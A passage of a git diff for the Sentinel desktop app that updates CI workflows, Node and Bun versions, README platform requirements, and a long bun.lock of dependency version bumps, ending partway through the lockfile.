diff --git a/.github/actions/setup-bun/action.yml b/.github/actions/setup-bun/action.yml index 541abc5c..73bdbad9 100644 --- a/.github/actions/setup-bun/action.yml +++ b/.github/actions/setup-bun/action.yml @@ -6,11 +6,11 @@ runs: steps: - uses: actions/setup-node@v4 with: - node-version: 21.7.3 + node-version-file: .nvmrc - uses: oven-sh/setup-bun@v2 with: - bun-version: 1.3.6 + bun-version: 1.4.2 - uses: actions/cache@v4 with: diff --git a/.github/actions/setup-desktop-build/action.yml b/.github/actions/setup-desktop-build/action.yml index ec0dfa15..2f298423 100644 --- a/.github/actions/setup-desktop-build/action.yml +++ b/.github/actions/setup-desktop-build/action.yml @@ -1,5 +1,5 @@ name: Setup Desktop Build Environment -description: Set up Bun, install dependencies, and restore desktop build caches. +description: Set up Bun, install dependencies, restore desktop build caches, and install the Electron binary. runs: using: composite @@ -44,3 +44,9 @@ runs: key: ${{ runner.os }}-${{ runner.arch }}-desktop-build-${{ hashFiles('bun.lock', 'package.json', 'next.config.*') }} restore-keys: | ${{ runner.os }}-${{ runner.arch }}-desktop-build- + + # Electron 42+ no longer downloads its binary during install, and + # build.electronDist packages node_modules/electron/dist. + - name: Install Electron binary + shell: bash + run: bun run electron:install diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index fcc15dce..3a04bc51 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -4,11 +4,27 @@ on: pull_request: paths: - "src/**" + - "scripts/**" + - "desktop/**" + - "manifests/**" + - "package.json" + - "bun.lock" + - "tsconfig.json" + - "next.config.js" + - ".github/**" push: branches: - main paths: - "src/**" + - "scripts/**" + - "desktop/**" + - "manifests/**" + - "package.json" + - "bun.lock" + - "tsconfig.json" + - "next.config.js" + - ".github/**" concurrency: group: ci-${{ github.workflow }}-${{ github.event.pull_request.number || github.ref }} @@ -35,6 +51,14 @@ jobs: filters: | source: - 'src/**' + - 'scripts/**' + - 'desktop/**' + - 'manifests/**' + - 'package.json' + - 'bun.lock' + - 'tsconfig.json' + - 'next.config.js' + - '.github/**' pr-metadata: if: github.event_name == 'pull_request' @@ -117,4 +141,27 @@ jobs: - uses: ./.github/actions/setup-bun - name: Run tests - run: bun run test + run: node scripts/run-tests.mjs --jobs 3 + + build: + name: build + needs: changes + if: ${{ needs.changes.outputs.source == 'true' }} + runs-on: ubuntu-24.04 + timeout-minutes: 30 + permissions: + contents: read + env: + SKIP_ENV_VALIDATION: "1" + NODE_OPTIONS: "--max-old-space-size=4096" + SENTINEL_SKIP_STARTUP_TASKS: "1" + steps: + - uses: actions/checkout@v4 + + - uses: ./.github/actions/setup-bun + + - name: Build + run: bun run build + + - name: Tripwires + run: node scripts/verify/tripwires.mjs diff --git a/.node-version b/.node-version index a7ac3d0d..a45fd52c 100644 --- a/.node-version +++ b/.node-version @@ -1 +1 @@ -21.7.3 +24 diff --git a/.nvmrc b/.nvmrc index a7ac3d0d..a45fd52c 100644 --- a/.nvmrc +++ b/.nvmrc @@ -1 +1 @@ -21.7.3 +24 diff --git a/README.md b/README.md index 59b8cb88..64212fc0 100644 --- a/README.md +++ b/README.md @@ -41,9 +41,11 @@ Some parts are solid. Some parts are rough. Things will change. Release builds are published on GitHub Releases: - [Download the latest release](https://github.com/Cronacl/Sentinel/releases) -- macOS builds are available as DMGs -- Windows builds are available as NSIS installers -- Linux builds are available as AppImages, DEBs, and RPMs +- macOS builds are available as DMGs and need macOS 13 (Ventura) or later +- Windows builds are available as NSIS installers for 64-bit Windows 10 or later +- Linux builds are available as AppImages, DEBs, and RPMs for x64 and arm64 and need glibc 2.34 and libstdc++ from GCC 11 or newer (for example Ubuntu 22.04, Debian 12, Fedora 35, or RHEL 9) + +Electron 44 dropped support for macOS 12, 32-bit Windows, and 32-bit ARM Linux, so Sentinel no longer ships for them. Copies already installed on macOS 12 keep working, but the in-app updater no longer offers them new versions. If you want the current development version, run it locally from source. @@ -136,11 +138,11 @@ This is a desktop app first. A lot of the useful parts depend on running close t ### Prerequisites -- [Bun](https://bun.sh) -- Node.js -- Platform build tools for native dependencies when prebuilt binaries are not available: +- [Bun](https://bun.sh) 1.4 or later +- Node.js 24 LTS (see `.nvmrc`) +- On Linux, build tools for `node-pty`, which has no prebuilt Linux binary: `build-essential`, `python3`, `make`, and `g++` +- On macOS and Windows, build tools only if the native repair step asks for them: - macOS: Xcode Command Line Tools - - Linux: `build-essential`, `python3`, `make`, and `g++` - Windows: Visual Studio Build Tools with Desktop development with C++ ### Run locally @@ -155,7 +157,9 @@ The app runs at `http://localhost:3232`. `ENCRYPTION_KEY` can be left empty in `.env`. Sentinel will generate one on first desktop launch. -Sentinel repairs native Node dependencies at startup. Most machines use prebuilt binaries. If a runtime, OS, or CPU combination has no matching prebuild, the startup script builds the native dependency locally and prints the platform package to install when build tools are missing. +Electron no longer downloads its binary during `bun install`. `bun run dev:desktop` and the desktop build commands fetch it on first use; run `bun run electron:install` to download it ahead of time. + +Sentinel checks its native Node dependencies at startup. `better-sqlite3` loads the N-API prebuild bundled for your OS and CPU and is never compiled locally; on Linux that prebuild needs glibc 2.34 and libstdc++ from GCC 11 or newer. `node-pty` uses its prebuilt binary on macOS and Windows; on Linux, `bun install` compiles it. If the `node-pty` binary does not load, the startup script rebuilds it locally and prints the platform package to install when build tools are missing. On Linux, Sentinel disables Electron's Chromium process sandbox by default for compatibility with systems where user namespaces or the setuid sandbox are unavailable. Linux packages also launch with `--no-sandbox` from their desktop entries. Set `SENTINEL_LINUX_SANDBOX=true` when launching the executable directly to force the Chromium sandbox back on. diff --git a/bun.lock b/bun.lock index ce54beb5..ccebfea7 100644 --- a/bun.lock +++ b/bun.lock @@ -5,239 +5,263 @@ "": { "name": "sentinel", "dependencies": { - "@ai-sdk/amazon-bedrock": "^4.0.83", - "@ai-sdk/anthropic": "^3.0.58", - "@ai-sdk/azure": "^3.0.49", - "@ai-sdk/black-forest-labs": "^1.0.28", - "@ai-sdk/bytedance": "^1.0.10", - "@ai-sdk/cohere": "^3.0.27", - "@ai-sdk/deepseek": "^2.0.29", - "@ai-sdk/fal": "^2.0.29", - "@ai-sdk/google": "^3.0.43", - "@ai-sdk/google-vertex": "^4.0.80", - "@ai-sdk/groq": "^3.0.31", - "@ai-sdk/klingai": "^3.0.12", - "@ai-sdk/mcp": "^1.0.25", - "@ai-sdk/mistral": "^3.0.27", - "@ai-sdk/moonshotai": "^2.0.12", - "@ai-sdk/openai": "^3.0.41", - "@ai-sdk/provider": "^3.0.8", - "@ai-sdk/react": "^3.0.118", - "@ai-sdk/replicate": "^2.0.28", - "@ai-sdk/xai": "^3.0.74", - "@anthropic-ai/claude-agent-sdk": "^0.2.84", + "@agentclientprotocol/sdk": "^1.7.0", + "@ai-sdk/amazon-bedrock": "^5.0.108", + "@ai-sdk/anthropic": "^4.0.74", + "@ai-sdk/azure": "^4.0.94", + "@ai-sdk/black-forest-labs": "^2.0.57", + "@ai-sdk/bytedance": "^2.0.59", + "@ai-sdk/cohere": "^4.0.57", + "@ai-sdk/deepseek": "^3.0.61", + "@ai-sdk/fal": "^3.0.57", + "@ai-sdk/google": "^4.0.90", + "@ai-sdk/google-vertex": "^5.0.104", + "@ai-sdk/groq": "^4.0.57", + "@ai-sdk/klingai": "^4.0.58", + "@ai-sdk/mcp": "^2.0.69", + "@ai-sdk/mistral": "^4.0.59", + "@ai-sdk/moonshotai": "^3.0.65", + "@ai-sdk/openai": "^4.0.86", + "@ai-sdk/provider": "^4.0.24", + "@ai-sdk/provider-utils": "^5.0.56", + "@ai-sdk/react": "^4.0.133", + "@ai-sdk/replicate": "^3.0.57", + "@ai-sdk/xai": "^5.0.17", + "@anthropic-ai/claude-agent-sdk": "^0.3.292", + "@anthropic-ai/sdk": "^0.131.0", "@dnd-kit/core": "^6.3.1", "@dnd-kit/sortable": "^10.0.0", "@dnd-kit/utilities": "^3.2.2", - "@github/copilot": "^1.0.24", - "@github/copilot-sdk": "^0.2.2", - "@heroui/react": "^3.0.1", - "@heroui/styles": "^3.0.1", - "@hookform/resolvers": "^5.2.2", - "@hugeicons/core-free-icons": "^4.0.0", - "@hugeicons/react": "^1.1.5", + "@github/copilot-sdk": "^1.0.16", + "@heroui/react": "^3.2.6", + "@heroui/styles": "^3.2.6", + "@hookform/resolvers": "^5.9.1", + "@hugeicons/core-free-icons": "^4.3.5", + "@hugeicons/react": "^1.1.10", "@iconify/react": "^6.0.2", - "@linear/sdk": "^77.0.0", - "@notionhq/client": "^5.13.0", + "@internationalized/date": "^3.12.4", + "@linear/sdk": "^97.0.0", + "@modelcontextprotocol/sdk": "^1.32.1", + "@notionhq/client": "^5.27.0", "@octokit/rest": "^22.0.1", - "@opencode-ai/sdk": "^1.3.15", - "@openrouter/ai-sdk-provider": "^2.3.3", + "@opencode-ai/sdk": "^1.18.35", + "@openrouter/ai-sdk-provider": "^3.1.0", "@paralleldrive/cuid2": "^3.3.0", - "@pierre/diffs": "^1.1.7", - "@slack/web-api": "^7.15.0", - "@t3-oss/env-nextjs": "^0.12.0", - "@tanstack/react-query": "^5.69.0", - "@tiptap/extension-placeholder": "^3.20.1", - "@tiptap/pm": "^3.20.1", - "@tiptap/react": "^3.20.1", - "@tiptap/starter-kit": "^3.20.1", - "@tiptap/suggestion": "^3.20.1", - "@trpc/client": "^11.0.0", - "@trpc/react-query": "^11.0.0", - "@trpc/server": "^11.0.0", + "@pierre/diffs": "^1.5.2", + "@react-aria/ssr": "^3.10.1", + "@react-aria/utils": "^3.34.1", + "@slack/web-api": "^8.2.0", + "@t3-oss/env-nextjs": "^0.13.11", + "@tanstack/react-query": "^5.104.1", + "@tiptap/extension-placeholder": "^3.31.4", + "@tiptap/pm": "^3.31.4", + "@tiptap/react": "^3.31.4", + "@tiptap/starter-kit": "^3.31.4", + "@tiptap/suggestion": "^3.31.4", + "@trpc/client": "^11.19.0", + "@trpc/react-query": "^11.19.0", + "@trpc/server": "^11.19.0", "@types/turndown": "^5.0.6", "@xterm/addon-fit": "^0.11.0", "@xterm/xterm": "^6.0.0", - "ai": "^6.0.116", - "better-sqlite3": "12.6.2", - "border-beam": "^1.0.1", + "ai": "^7.0.130", + "better-sqlite3": "13.0.3", + "border-beam": "^1.4.1", "cmdk": "^1.1.1", "cronbake": "^0.4.0", - "date-fns": "^4.1.0", - "drizzle-orm": "^0.45.1", - "electron-updater": "^6.8.3", - "googleapis": "^171.4.0", - "highlight.js": "^11.11.1", - "lucide-react": "^1.8.0", - "mammoth": "^1.12.0", - "mongodb": "^7.1.0", - "motion": "^12.35.0", - "mysql2": "^3.20.0", - "next": "^15.2.3", + "date-fns": "^4.4.0", + "drizzle-orm": "^0.45.3", + "electron-updater": "^6.8.9", + "googleapis": "^183.0.0", + "lucide-react": "^1.52.0", + "mammoth": "^1.13.0", + "mongodb": "^7.7.0", + "motion": "^14.0.0", + "mysql2": "^3.24.5", + "next": "^16.4.0", "node-pptx-parser": "^1.0.1", "node-pty": "^1.1.0", "node-xlsx": "^0.24.0", - "officeparser": "^6.0.7", - "pg": "^8.20.0", + "officeparser": "^6.1.1", + "pg": "^8.23.1", "ppt": "^0.0.2", - "react": "^19.0.0", - "react-dom": "^19.0.0", - "react-hook-form": "^7.71.2", + "react": "^19.3.0", + "react-aria": "^3.52.1", + "react-aria-components": "^1.21.1", + "react-dom": "^19.3.0", + "react-hook-form": "^7.89.0", "react-markdown": "^10.1.0", "react-video-kit": "^3.0.0", - "rehype-highlight": "^7.0.2", "remark-gfm": "^4.0.1", - "resumable-stream": "^2.2.10", + "resumable-stream": "^2.2.13", "rtf2text": "^1.0.1", + "semver": "^7.8.5", "server-only": "^0.0.1", - "shiki": "^3.23.0", + "shiki": "^4.5.0", "sileo": "^0.1.5", - "sqlite-vec": "0.1.7-alpha.2", - "superjson": "^2.2.1", - "tailwind-variants": "^3.2.2", - "turndown": "^7.2.2", + "sqlite-vec": "^0.1.9", + "superjson": "^2.2.6", + "turndown": "^7.2.4", + "undici": "^7.30.0", "word-extractor": "^1.0.4", - "zod": "^3.24.2", + "zod": "^4.6.5", }, "devDependencies": { - "@commitlint/cli": "^20.5.0", - "@commitlint/config-conventional": "^20.5.0", - "@tailwindcss/postcss": "^4.0.15", - "@trivago/prettier-plugin-sort-imports": "^6.0.2", - "@types/better-sqlite3": "^7.6.13", - "@types/node": "^20.14.10", - "@types/pg": "^8.18.0", - "@types/react": "^19.0.0", - "@types/react-dom": "^19.0.0", - "concurrently": "^9.2.1", - "drizzle-kit": "^0.31.9", - "electron": "40.8.0", - "electron-builder": "26.8.1", - "lefthook": "^2.1.4", - "lint-staged": "^16.4.0", - "postcss": "^8.5.3", - "prettier": "^3.8.1", - "prettier-plugin-tailwindcss": "^0.7.2", - "tailwindcss": "^4.0.15", - "typescript": "^5.8.2", - "wait-on": "^9.0.4", + "@commitlint/cli": "^21.2.3", + "@commitlint/config-conventional": "^21.2.3", + "@tailwindcss/postcss": "^4.3.3", + "@types/better-sqlite3": "^9.6.0", + "@types/node": "^24.12.4", + "@types/pg": "^8.23.1", + "@types/react": "^19.3.0", + "@types/react-dom": "^19.3.0", + "@types/semver": "^7.8.0", + "concurrently": "^10.0.5", + "drizzle-kit": "^0.31.11", + "electron": "44.6.0", + "electron-builder": "26.17.0", + "lefthook": "^2.1.17", + "lint-staged": "^17.6.0", + "node-gyp": "^12.4.0", + "postcss": "^8.5.29", + "prettier": "^3.9.9", + "tailwindcss": "^4.3.3", + "typescript": "~6.0.3", + "wait-on": "^9.5.1", }, }, }, + "trustedDependencies": [ + "esbuild", + "node-pty", + "sharp", + "electron-winstaller", + "lefthook", + ], "packages": { "7zip-bin": ["7zip-bin@5.2.0", "", {}, "sha512-ukTPVhqG4jNzMro2qA9HSCSSVJN3aN7tlb+hfqYCt3ER0yWroeA2VR38MNrOHLQ/cVj+DaIMad0kFCtWWowh/A=="], - "@ai-sdk/amazon-bedrock": ["@ai-sdk/amazon-bedrock@4.0.83", "", { "dependencies": { "@ai-sdk/anthropic": "3.0.64", "@ai-sdk/provider": "3.0.8", "@ai-sdk/provider-utils": "4.0.21", "@smithy/eventstream-codec": "^4.0.1", "@smithy/util-utf8": "^4.0.0", "aws4fetch": "^1.0.20" }, "peerDependencies": { "zod": "^3.25.76 || ^4.1.8" } }, "sha512-DoRpvIWGU/r83UeJAM9L93Lca8Kf/yP5fIhfEOltMPGP/PXrGe0BZaz0maLSRn8djJ6+HzWIsgu5ZI6bZqXEXg=="], + "@adobe/react-spectrum": ["@adobe/react-spectrum@3.47.5", "", { "dependencies": { "@internationalized/date": "^3.12.4", "@react-types/shared": "^3.36.1", "@spectrum-icons/ui": "^3.7.2", "@spectrum-icons/workflow": "^4.3.2", "@swc/helpers": "^0.5.0", "client-only": "^0.0.1", "clsx": "^2.0.0", "react-aria": "3.52.1", "react-aria-components": "1.21.1", "react-stately": "3.50.0", "react-transition-group": "^4.4.5", "use-sync-external-store": "^1.6.0" }, "peerDependencies": { "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1", "react-dom": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" } }, "sha512-iTbAwwMijVnQjwjwbvkWn82AyRAbFNSJzt/VawWp1vXRIxVIO9COZ1pPG5Fj88xXgqlG8maVcv58p74vqqy5HA=="], - "@ai-sdk/anthropic": ["@ai-sdk/anthropic@3.0.58", "", { "dependencies": { "@ai-sdk/provider": "3.0.8", "@ai-sdk/provider-utils": "4.0.19" }, "peerDependencies": { "zod": "^3.25.76 || ^4.1.8" } }, "sha512-/53SACgmVukO4bkms4dpxpRlYhW8Ct6QZRe6sj1Pi5H00hYhxIrqfiLbZBGxkdRvjsBQeP/4TVGsXgH5rQeb8Q=="], + "@adobe/react-spectrum-ui": ["@adobe/react-spectrum-ui@1.2.1", "", { "peerDependencies": { "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0", "react-dom": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0" } }, "sha512-wcrbEE2O/9WnEn6avBnaVRRx88S5PLFsPLr4wffzlbMfXeQsy+RMQwaJd3cbzrn18/j04Isit7f7Emfn0dhrJA=="], - "@ai-sdk/azure": ["@ai-sdk/azure@3.0.49", "", { "dependencies": { "@ai-sdk/openai": "3.0.48", "@ai-sdk/provider": "3.0.8", "@ai-sdk/provider-utils": "4.0.21" }, "peerDependencies": { "zod": "^3.25.76 || ^4.1.8" } }, "sha512-wskgAL+OmrHG7by/iWIxEBQCEdc1mDudha/UZav46i0auzdFfsDB/k2rXZaC4/3nWSgMZkxr0W3ncyouEGX/eg=="], + "@adobe/react-spectrum-workflow": ["@adobe/react-spectrum-workflow@2.3.5", "", { "peerDependencies": { "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0", "react-dom": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0" } }, "sha512-b53VIPwPWKb/T5gzE3qs+QlGP5gVrw/LnWV3xMksDU+CRl3rzOKUwxIGiZO8ICyYh1WiyqY4myGlPU/nAynBUg=="], - "@ai-sdk/black-forest-labs": ["@ai-sdk/black-forest-labs@1.0.28", "", { "dependencies": { "@ai-sdk/provider": "3.0.8", "@ai-sdk/provider-utils": "4.0.23" }, "peerDependencies": { "zod": "^3.25.76 || ^4.1.8" } }, "sha512-gDLQIynlp4TWmv5IqfQ+DFOSQUmWf7IZm84VSNVuVWYY4qZjeNuufDe3EEvPBNaPBdRVz8XeT242j9bulqxBBg=="], + "@agentclientprotocol/sdk": ["@agentclientprotocol/sdk@1.7.0", "", { "peerDependencies": { "zod": "^3.25.0 || ^4.0.0" } }, "sha512-ZORuxsuEnLjRly7t6Ad7zAsWitjWsyprswyPUHz/yycPb+tTm3DGa8XheaHhRXqX8LS9snuxaYavXSRA50TlHw=="], - "@ai-sdk/bytedance": ["@ai-sdk/bytedance@1.0.10", "", { "dependencies": { "@ai-sdk/provider": "3.0.8", "@ai-sdk/provider-utils": "4.0.23" }, "peerDependencies": { "zod": "^3.25.76 || ^4.1.8" } }, "sha512-JZukJoXrqFtExYFJBDV0NhoSvlfVTl78LyPk5/K6LtmhpoloTuHsg7NlhijSyzfnxhtFOAPklJudgqDHjp2xTQ=="], + "@ai-sdk/amazon-bedrock": ["@ai-sdk/amazon-bedrock@5.0.108", "", { "dependencies": { "@ai-sdk/anthropic": "4.0.74", "@ai-sdk/openai": "4.0.86", "@ai-sdk/provider": "4.0.24", "@ai-sdk/provider-utils": "5.0.56", "@smithy/eventstream-codec": "^4.3.3", "@smithy/util-utf8": "^4.3.3", "aws4fetch": "^1.0.20" }, "peerDependencies": { "zod": "^3.25.76 || ^4.1.8" } }, "sha512-zYkEENIOD77gFmwO5an2bJXePKdoF+r7zgccScaehSz+ndtNPkGNv74d9o9hkef8S5IcszZ5yaCbj2E5zJTKFw=="], - "@ai-sdk/cohere": ["@ai-sdk/cohere@3.0.27", "", { "dependencies": { "@ai-sdk/provider": "3.0.8", "@ai-sdk/provider-utils": "4.0.21" }, "peerDependencies": { "zod": "^3.25.76 || ^4.1.8" } }, "sha512-OqcCq2PiFY1dbK/0Ck45KuvE8jfdxRuuAE9Y5w46dAk6U+9vPOeg1CDcmR+ncqmrYrhRl3nmyDttyDahyjCzAw=="], + "@ai-sdk/anthropic": ["@ai-sdk/anthropic@4.0.74", "", { "dependencies": { "@ai-sdk/provider": "4.0.24", "@ai-sdk/provider-utils": "5.0.56" }, "peerDependencies": { "zod": "^3.25.76 || ^4.1.8" } }, "sha512-q/A7hCZSsCknmC1TtyNkBgNlT12hbKOWrgyb1UdPpIAO9sZcFS0nilZFIsW/ugVKG+hd6bU1r9NL1Ru33FDwZw=="], - "@ai-sdk/deepseek": ["@ai-sdk/deepseek@2.0.29", "", { "dependencies": { "@ai-sdk/provider": "3.0.8", "@ai-sdk/provider-utils": "4.0.23" }, "peerDependencies": { "zod": "^3.25.76 || ^4.1.8" } }, "sha512-cn4+xV0menm/4JKEDElnVGiUilHvi6AD4ZK/sY7DXP/Wb7Yb3Vr86NyYM6mGBE/Shk3mWHoHbzggVnF5x0uMEA=="], + "@ai-sdk/azure": ["@ai-sdk/azure@4.0.94", "", { "dependencies": { "@ai-sdk/deepseek": "3.0.61", "@ai-sdk/openai": "4.0.86", "@ai-sdk/provider": "4.0.24", "@ai-sdk/provider-utils": "5.0.56" }, "peerDependencies": { "zod": "^3.25.76 || ^4.1.8" } }, "sha512-/A9HcPvx/oBtrY/AwgDo7jFqqbMp9uqYUNErGWBW7YkuZ+7zRy7RByrqa4RBbyUGvPy8r3kQdlyLerAxdwwJ6w=="], - "@ai-sdk/fal": ["@ai-sdk/fal@2.0.29", "", { "dependencies": { "@ai-sdk/provider": "3.0.8", "@ai-sdk/provider-utils": "4.0.23" }, "peerDependencies": { "zod": "^3.25.76 || ^4.1.8" } }, "sha512-nDq05ik9EHEzbJBjagIhMU1hWMJnGEToZ3yduKmcg0acDU23t6eHpV56Gjv49F73dK1a26aZADS+clVjLpMvDw=="], + "@ai-sdk/black-forest-labs": ["@ai-sdk/black-forest-labs@2.0.57", "", { "dependencies": { "@ai-sdk/provider": "4.0.24", "@ai-sdk/provider-utils": "5.0.56" }, "peerDependencies": { "zod": "^3.25.76 || ^4.1.8" } }, "sha512-Gm6k2eHXp4LaLqywTHeey32rrzGf1jtNaKxC/Ldmq5keu98t2dVHBnEtvheQNTJ8QV9WPW0/ojnmcPkMBKNE8A=="], - "@ai-sdk/gateway": ["@ai-sdk/gateway@3.0.66", "", { "dependencies": { "@ai-sdk/provider": "3.0.8", "@ai-sdk/provider-utils": "4.0.19", "@vercel/oidc": "3.1.0" }, "peerDependencies": { "zod": "^3.25.76 || ^4.1.8" } }, "sha512-SIQ0YY0iMuv+07HLsZ+bB990zUJ6S4ujORAh+Jv1V2KGNn73qQKnGO0JBk+w+Res8YqOFSycwDoWcFlQrVxS4A=="], + "@ai-sdk/bytedance": ["@ai-sdk/bytedance@2.0.59", "", { "dependencies": { "@ai-sdk/provider": "4.0.24", "@ai-sdk/provider-utils": "5.0.56" }, "peerDependencies": { "zod": "^3.25.76 || ^4.1.8" } }, "sha512-GJlJCtVfQeXywgRfyCDklHtLLs3DPWbfjTC3pWOV5LkPDCjGHOCzNgFAvMx//B/Ke36Cou4h3Ux0NbO3j5wHNw=="], - "@ai-sdk/google": ["@ai-sdk/google@3.0.43", "", { "dependencies": { "@ai-sdk/provider": "3.0.8", "@ai-sdk/provider-utils": "4.0.19" }, "peerDependencies": { "zod": "^3.25.76 || ^4.1.8" } }, "sha512-NGCgP5g8HBxrNdxvF8Dhww+UKfqAkZAmyYBvbu9YLoBkzAmGKDBGhVptN/oXPB5Vm0jggMdoLycZ8JReQM8Zqg=="], + "@ai-sdk/cohere": ["@ai-sdk/cohere@4.0.57", "", { "dependencies": { "@ai-sdk/provider": "4.0.24", "@ai-sdk/provider-utils": "5.0.56" }, "peerDependencies": { "zod": "^3.25.76 || ^4.1.8" } }, "sha512-z69YVdHtTg0bKlCOB9VzxEce1XzC/wY3ATsE7oQMeTmXBjvjAvwpCMh/iz06lFo2qZtEgIJPTokitLxVWBDuRg=="], - "@ai-sdk/google-vertex": ["@ai-sdk/google-vertex@4.0.80", "", { "dependencies": { "@ai-sdk/anthropic": "3.0.58", "@ai-sdk/google": "3.0.43", "@ai-sdk/provider": "3.0.8", "@ai-sdk/provider-utils": "4.0.19", "google-auth-library": "^10.5.0" }, "peerDependencies": { "zod": "^3.25.76 || ^4.1.8" } }, "sha512-CZbiI3AEZQjVYUI2duLFH3ONYkUbsoi0AiTEYNaNKC+ZVnteXwmzJB0W7miaDViV66pWh2VpjNgIJnYXCtNgfw=="], + "@ai-sdk/deepseek": ["@ai-sdk/deepseek@3.0.61", "", { "dependencies": { "@ai-sdk/provider": "4.0.24", "@ai-sdk/provider-utils": "5.0.56" }, "peerDependencies": { "zod": "^3.25.76 || ^4.1.8" } }, "sha512-D9fj/eMQiWjMjmNkNifvhN7ohJ98kXmlTuqtNzPNaHGo0aqZ4jmxEfAT0DQNLxEkNcljtr0+QP9LmEjUwikIKQ=="], - "@ai-sdk/groq": ["@ai-sdk/groq@3.0.31", "", { "dependencies": { "@ai-sdk/provider": "3.0.8", "@ai-sdk/provider-utils": "4.0.21" }, "peerDependencies": { "zod": "^3.25.76 || ^4.1.8" } }, "sha512-XbbugpnFmXGu2TlXiq8KUJskP6/VVbuFcnFIGDzDIB/Chg6XHsNnqrTF80Zxkh0Pd3+NvbM+2Uqrtsndk6bDAg=="], + "@ai-sdk/fal": ["@ai-sdk/fal@3.0.57", "", { "dependencies": { "@ai-sdk/provider": "4.0.24", "@ai-sdk/provider-utils": "5.0.56" }, "peerDependencies": { "zod": "^3.25.76 || ^4.1.8" } }, "sha512-jKNunLLExJXhSN9i0PW/I5ctLd1/saDsJxhGVm7oqFwzmIztKBNIPcMRKN+QeYbXDUjTV9xEXdt7vh1B3AslVw=="], - "@ai-sdk/klingai": ["@ai-sdk/klingai@3.0.12", "", { "dependencies": { "@ai-sdk/provider": "3.0.8", "@ai-sdk/provider-utils": "4.0.23" }, "peerDependencies": { "zod": "^3.25.76 || ^4.1.8" } }, "sha512-D257haD+7Kjcit3dUhAWfMTja7jxtFdndIXHONgQ6vJuZl6o2UXOvhFAdcl4UOtmMro+Pso6reJYTUOcG7JSrg=="], + "@ai-sdk/gateway": ["@ai-sdk/gateway@4.0.106", "", { "dependencies": { "@ai-sdk/provider": "4.0.24", "@ai-sdk/provider-utils": "5.0.56", "@vercel/oidc": "3.2.0" }, "peerDependencies": { "zod": "^3.25.76 || ^4.1.8" } }, "sha512-NprSdFzyVnbEp2SDWtIgsCFIUHFCehOD9S6FQkF/dLrCmnke8w4SOK3KcmUUiEbwtVzlUF8prkaELp+ohcQaQw=="], - "@ai-sdk/mcp": ["@ai-sdk/mcp@1.0.25", "", { "dependencies": { "@ai-sdk/provider": "3.0.8", "@ai-sdk/provider-utils": "4.0.19", "pkce-challenge": "^5.0.0" }, "peerDependencies": { "zod": "^3.25.76 || ^4.1.8" } }, "sha512-vMlXUPGHGDE2vzLcPR8sw7Dhz2OBjtPU5lB+lIuC1hNQo4REuUC08P0e96/hzBKf4oQYJ8Zo6uP8AG2qThyFbg=="], + "@ai-sdk/google": ["@ai-sdk/google@4.0.90", "", { "dependencies": { "@ai-sdk/provider": "4.0.24", "@ai-sdk/provider-utils": "5.0.56" }, "peerDependencies": { "zod": "^3.25.76 || ^4.1.8" } }, "sha512-XQNKWT6CwcgARdqTUZn0j89y0gvDMR0k2j2qhOg7ffoL+6MNViQ9t3ALoleAAKo10yMLFE7Ato0Fk+RD14i2kg=="], - "@ai-sdk/mistral": ["@ai-sdk/mistral@3.0.27", "", { "dependencies": { "@ai-sdk/provider": "3.0.8", "@ai-sdk/provider-utils": "4.0.21" }, "peerDependencies": { "zod": "^3.25.76 || ^4.1.8" } }, "sha512-ZXe7nZQgliDdjz5ufH5RKpHWxbN72AzmzzKGbF/z+0K9GN5tUCnftrQRvTRFHA5jAzTapcm2BEevmGLVbMkW+A=="], + "@ai-sdk/google-vertex": ["@ai-sdk/google-vertex@5.0.104", "", { "dependencies": { "@ai-sdk/anthropic": "4.0.74", "@ai-sdk/google": "4.0.90", "@ai-sdk/openai-compatible": "3.0.65", "@ai-sdk/provider": "4.0.24", "@ai-sdk/provider-utils": "5.0.56", "google-auth-library": "^10.6.2" }, "peerDependencies": { "zod": "^3.25.76 || ^4.1.8" } }, "sha512-Y9RQldM9+/YmQvaYEhmKQ8x5JZ1sqG5YwMHL/d20Ybvb9TQ6k8KmWz6PGvu/Z/M7LgpEqkqXfWY17wxFgY+8pQ=="], - "@ai-sdk/moonshotai": ["@ai-sdk/moonshotai@2.0.12", "", { "dependencies": { "@ai-sdk/openai-compatible": "2.0.37", "@ai-sdk/provider": "3.0.8", "@ai-sdk/provider-utils": "4.0.21" }, "peerDependencies": { "zod": "^3.25.76 || ^4.1.8" } }, "sha512-dW5wxbqMCaNrUb52GD7xuPcW4+Xnz+Eq7u3nn9vNdfhpclAqOcgzJ5Arn+HmY3SGcvNft6srOzsNBdVETyF6cg=="], + "@ai-sdk/groq": ["@ai-sdk/groq@4.0.57", "", { "dependencies": { "@ai-sdk/provider": "4.0.24", "@ai-sdk/provider-utils": "5.0.56" }, "peerDependencies": { "zod": "^3.25.76 || ^4.1.8" } }, "sha512-ilsyKha2I3IRwH0VSxlk6GLymHaa7R9wvxq+lz9AfNR713Sy5pVCUHQxbqP+wv7weITV6XcdY3gjdPvYLhk16g=="], - "@ai-sdk/openai": ["@ai-sdk/openai@3.0.41", "", { "dependencies": { "@ai-sdk/provider": "3.0.8", "@ai-sdk/provider-utils": "4.0.19" }, "peerDependencies": { "zod": "^3.25.76 || ^4.1.8" } }, "sha512-IZ42A+FO+vuEQCVNqlnAPYQnnUpUfdJIwn1BEDOBywiEHa23fw7PahxVtlX9zm3/zMvTW4JKPzWyvAgDu+SQ2A=="], + "@ai-sdk/klingai": ["@ai-sdk/klingai@4.0.58", "", { "dependencies": { "@ai-sdk/provider": "4.0.24", "@ai-sdk/provider-utils": "5.0.56" }, "peerDependencies": { "zod": "^3.25.76 || ^4.1.8" } }, "sha512-H+ZsO7s7yakPFGcdbyfZLY8eu/QImWL722YkUmwICBnHObKWD7zmGydIsUaYWwf+uglWBPv4AyDmuBkRpI7umA=="], - "@ai-sdk/openai-compatible": ["@ai-sdk/openai-compatible@2.0.37", "", { "dependencies": { "@ai-sdk/provider": "3.0.8", "@ai-sdk/provider-utils": "4.0.21" }, "peerDependencies": { "zod": "^3.25.76 || ^4.1.8" } }, 